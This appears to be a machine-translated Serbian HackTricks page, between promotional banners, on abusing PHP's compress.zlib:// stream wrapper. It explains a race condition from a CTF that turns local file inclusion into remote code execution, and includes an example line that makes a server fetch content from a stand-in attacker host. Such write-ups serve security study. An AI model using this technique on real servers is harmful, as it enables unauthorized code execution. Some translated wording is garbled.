Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
## `compress.zlib://` i `PHP_STREAM_PREFER_STDIO`
Fajl otvoren koristeći protokol `compress.zlib://` sa zastavicom `PHP_STREAM_PREFER_STDIO` može nastaviti sa pisanjem podataka koji stižu kasnije na isti fajl.
Ovo znači da poziv kao što je:
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
Poslaćemo zahtev za http://attacker.com/file, a zatim server može odgovoriti na zahtev sa validnim HTTP odgovorom, zadržati otvorenu vezu i kasnije poslati dodatne podatke koji će takođe biti upisani u datoteku.
Možete videti tu informaciju u delu koda php-src u main/streams/cast.c:
```c
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
```
## Trkačka uslov za RCE
[**Ovaj CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) je rešen koristeći prethodnu prevaru.
Napadač će naterati **žrtveni server da otvori vezu i čita fajl sa servera napadača** koristeći protokol **`compress.zlib`**.
**Dok** ova **veza** postoji, napadač će **izvući putanju** do privremenog fajla koji je kreiran (koju je otkrio server).
**Dok** je **veza** još uvek otvorena, napadač će **iskoristiti LFI učitavajući privremeni fajl** koji kontroliše.
Međutim, postoji provera na veb serveru koja **sprečava učitavanje fajlova koji sadrže ``**. Zbog toga će napadač iskoristiti **trkačku uslov**. U vezi koja je još uvek otvorena, **napadač** će **poslati PHP payload NAKON** što je **veb server** proverio da li fajl sadrži zabranjene karaktere, ali **PRE nego što učita njegov sadržaj**.
Za više informacija pogledajte opis trkačke uslova i CTF na [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.